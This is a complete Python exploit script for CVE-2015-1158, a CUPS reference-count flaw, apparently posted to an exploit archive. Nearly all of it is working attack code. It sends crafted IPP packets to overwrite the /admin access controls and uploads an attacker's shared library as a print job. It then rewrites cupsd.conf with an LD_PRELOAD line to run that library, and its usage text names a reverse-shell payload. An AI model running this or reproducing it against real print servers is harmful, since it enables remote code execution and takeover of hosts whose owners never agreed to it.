1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 |
#!/usr/bin/python # Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution # Google Dork: n/a # Date: 2/2/17 # Exploit Author: @0x00string # Vendor Homepage: cups.org # Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2 # Version: <2.0.3 # Tested on: Ubuntu 14/15 # CVE : CVE-2015-1158 import os, re, socket, random, time, getopt, sys from socket import * from struct import * def banner(): print ''' lol ty google 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000000000000000 0000000 000000000000000 000000000000000000000 0000000000000000 000000 000000000000000000000 000000000000000000000 000000 00000000000000 000000 000000000 000000 00000000000000000000000 000000 000000000 000000 00000000000000000000000 0000000000000 0000000 0000000000000000000 00000000000000000000 0000000000000000000000000000000 00000000000000000000000000000 0000000000000000000000 0000000000000 @0x00string https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py ''' def usage (): print ("python script.py <args>\n" " -h, --help: Show this message\n" " -a, --rhost:Target IP address\n" " -b, --rport:Target IPP service port\n" " -c, --lib /path/to/payload.so\n" " -f, --stomp-onlyOnly stomp the ACL (no postex)\n" "\n" "Examples:\n" "python script.py -a 10.10.10.10 -b 631 -f\n" "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n") exit() def pretty (t, m): if (t is "+"): print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n", elif (t is "-"): print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n", elif (t is "*"): print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n", elif (t is "!"): print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n", def createDump (input): d, b, h = '', [], [] u = list(input) for e in u: h.append(e.encode("hex")) if e == '0x0': b.append('0') elif 30 > ord(e) or ord(e) > 128: b.append('.') elif 30 < ord(e) or ord(e) < 128: b.append(e) i = 0 while i < len(h): if (len(h) - i ) >= 16: d += ' '.join(h[i:i+16]) d += " " d += ' '.join(b[i:i+16]) d += "\n" i = i + 16 else: d += ' '.join(h[i:(len(h) - 0 )]) pad = len(' '.join(h[i:(len(h) - 0 )])) d += ' ' * (56 - pad) d += ' '.join(b[i:(len(h) - 0 )]) d += "\n" i = i + len(h) return d class tcpsock: def __init__(self, sock=None): if sock is None: self.sock = socket( AF_INET, SOCK_STREAM) self.sock.settimeout(30) else: self.sock = sock def connect(self, host, port): self.sock.connect((host, int(port))) def tx(self, msg): self.sock.send(msg) def rx(self): tmp= self.sock.recv(1024) msg = "" while tmp: msg += tmp tmp= self.sock.recv(1024) return msg def txrx (ip, port, proto, txpacket): if (proto is "tcp"): sock = tcpsock() elif (proto is "udp"): sock = udpsock() else: return None sock.connect(ip, port) sock.tx(txpacket) rxpacket = sock.rx() return rxpacket def locatePrinters(rhost, rport="631"): request = ( "GET /printers HTTP/1.1\x0d\x0a" "Host: " + rhost + ":" + rport + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "\x0d\x0a") response = txrx(rhost, int(rport), "tcp", request) if response is not None: m = re.search('<TR><TD><A HREF="https://www.exploit-db.com/exploits/41233/(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response) if m is not None: printer = m.group(1) pretty("+","printer found: " + printer) return printer else: pretty("-","no printers") exit(1) else: pretty("-","no printers") exit(1) def preparePayload(libpath): with open(libpath, 'rb') as f: payload = f.read() if payload is not None: pretty("*","Payload:\n" + createDump(payload)) else: pretty("-","something went wrong") usage() return payload def seedTarget(rhost, rport, printer, payload): i = random.randint(1,3) reqid = str(pack(">i",(i+2))) reqid2 = str(pack(">i",(i+3))) printer_uri = "ipp://" + rhost + ":" + str(rport) + printer create_job_packet = ("\x02\x00" "\x00\x05"+ reqid+ "\x01" "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8" "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us" "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri + "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root" "\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib" "\x02" "\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01" "\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03" "\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30" "\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite" "\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32" "\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none" "\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01" "\x03") pretty("*","Sending createJob") http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a" "Content-Type: application/ipp\x0d\x0a" "Host: " + rhost + ":" + str(rport) + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a" "\x0d\x0a") createJobRequest = http_header1 + create_job_packet blah = txrx(rhost,int(rport),"tcp",createJobRequest) if blah is not None: m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah) if m is not None: jobid = m.group(1) else: pretty("-","something went wrong"); exit() pretty("*","\n" + createDump(blah) + "\n") pretty("*", "Sending sendJob") send_document_packet = ("\x02\x00" "\x00\x06"+ reqid2+ "\x01" "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8" "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us" "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri + "\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) + "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root" "\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib" "\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream" "\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01" "\x03"+ payload) http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a" "Content-Type: application/ipp\x0d\x0a" "Host: " + rhost + ":" + str(rport) + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a" "\x0d\x0a") sendJobRequest = http_header2 + send_document_packet blah2 = txrx(rhost,int(rport),"tcp",sendJobRequest) pretty("*","\n" + createDump(blah) + "\n") pretty("*","job id: " + jobid) return jobid def stompACL(rhost, rport, printer): i = random.randint(1,1024) printer_url = "ipp://" + rhost + ":" + rport + printer admin_stomp = ("\x02\x00"# vers 2.0 "\x00\x05"+ # op id: Create Job (0x0005) str(pack(">i",(i+1)))+ "\x01"# op attributes marker "\x47"# charset "\x00\x12"# name len: 18 "attributes-charset" "\x00\x08"# val len: 8 "us-ascii" "\x48"# natural language "\x00\x1b"# name len: 27 "attributes-natural-language" "\x00\x06"# val len: 6 "/admin" "\x45"# printer-uri "\x00\x0b"# name len 11 "printer-uri" + str(pack(">h", len(printer_url))) + printer_url + "\x42"# name without lang "\x00\x14"# name len: 20 "requesting-user-name" "\x00\x06"# val len: 6 "/admin" "\x02"# job attrs marker "\x21"# integer "\x00\x06"# name len: 6 "copies" "\x00\x04"# val len: 4 "\x00\x00\x00\x01"# 1 "\x42"# name w/o lang "\x00\x19"# name len: 25 "job-originating-host-name" "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x36"# nwl "\x00\x00"# name len: 0 "\x00\x16"# val len: 22 "\x00\x06"# length "/admin" "\x00\x0c" "BBBBBBBBBBBB" "\x03")# end of attributes conf_stomp = ("\x02\x00"# vers 2.0 "\x00\x05"+ # op id: Create Job (0x0005) str(pack(">i",(i+2)))+ "\x01"# op attributes marker "\x47"# charset "\x00\x12"# name len: 18 "attributes-charset" "\x00\x08"# val len: 8 "us-ascii" "\x48"# natural language "\x00\x1b"# name len: 27 "attributes-natural-language" "\x00\x0b"# val len: 11 "/admin/conf" "\x45"# printer-uri "\x00\x0b"# name len 11 "printer-uri" + str(pack(">h", len(printer_url))) + printer_url + "\x42"# name without lang "\x00\x14"# name len: 20 "requesting-user-name" "\x00\x0b"# val len: 11 "/admin/conf" "\x02"# job attrs marker "\x21"# integer "\x00\x06"# name len: 6 "copies" "\x00\x04"# val len: 4 "\x00\x00\x00\x01"# 1 "\x42"# name w/o lang "\x00\x19"# name len: 25 "job-originating-host-name" "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x42"# nwol "\x00\x00"# name len: 0 "\x00\x0c"# val len: 12 "AAAAAAAAAAAA" "\x36"# nwl "\x00\x00"# name len: 0 "\x00\x1b"# val len: 27 "\x00\x0b"# length "/admin/conf" "\x00\x0c" "BBBBBBBBBBBB" "\x03")# end of attributes http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a" "Content-Type: application/ipp\x0d\x0a" "Host: " + rhost + ":" + rport + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a" "\x0d\x0a") http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a" "Content-Type: application/ipp\x0d\x0a" "Host: " + rhost + ":" + rport + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a" "\x0d\x0a") pretty("*","stomping ACL") pretty("*",">:\n" + createDump(http_header1 + admin_stomp)) pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp))) time.sleep(1) pretty("*",">:\n" + createDump(http_header2 + conf_stomp)) pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp))) http_header_check = ("GET /admin HTTP/1.1\x0d\x0a" "Host: " + rhost + ":" + rport + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "\x0d\x0a") pretty("*","checking /admin") pretty("*",">:\n" + createDump(http_header_check)) res = txrx(rhost,rport,"tcp",http_header_check) pretty("*","<:\n" + createDump(res)) m = re.search('200 OK', res) if m is not None: pretty("+","ACL stomp successful") else: pretty("-","exploit failed") exit(1) def getConfig(rhost, rport): i = random.randint(1,1024) original_config = "" http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a" "Host: " + rhost + ":" + rport + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Close\x0d\x0a" "\x0d\x0a") pretty("*","grabbing configuration file....") res = txrx(rhost,rport,"tcp",http_request) res_array = res.split("\x0d\x0a\x0d\x0a") original_config = res_array[1] pretty("*","config:\n" + original_config + "\n") return original_config def putConfig(rhost, rport, config): http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a" "Content-Type: application/ipp\x0d\x0a" "Host: " + rhost + ":" + rport + "\x0d\x0a" "User-Agent: CUPS/2.0.2\x0d\x0a" "Connection: Keep-Alive\x0d\x0a" "Content-Length: " + str(len(config)) + "\x0d\x0a" "\x0d\x0a") pretty("*","overwriting config...") pretty("*",">:\n" + createDump(http_request + config)) pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config))) def poisonConfig(config, name): config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d000" + name + "-001\x0a" return config def main(): rhost = None; rport = None; noshell = None; options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:fh', ['rhost=','rport=','lib=','stomp-only','help']) for opt, arg in options: if opt in ('-h', '--help'): usage() elif opt in ('-a','--rhost'): rhost = arg; elif opt in ('-b','--rport'): rport = arg; elif opt in ('-c','--lib'): libpath = arg; elif opt in ('-f','--stomp-only'): noshell = 1; banner() if rhost is None or rport is None: usage() pretty("*","locate available printer") printer = locatePrinters(rhost, rport) pretty("*","stomp ACL") stompACL(rhost, rport, printer) if (noshell is not None): pretty("*","fin") exit(0) pretty("*","prepare payload") payload = preparePayload(libpath) pretty("*","spray payload") jobid = seedTarget(rhost, rport, printer, payload) pretty("*","grab original config") OG_config = getConfig(rhost, rport) pretty("*","generate poison config") evil_config = poisonConfig(OG_config, jobid) pretty("*","upload poison config") putConfig(rhost, rport, evil_config) pretty("*","fin") exit(0); if __name__ == "__main__": main() |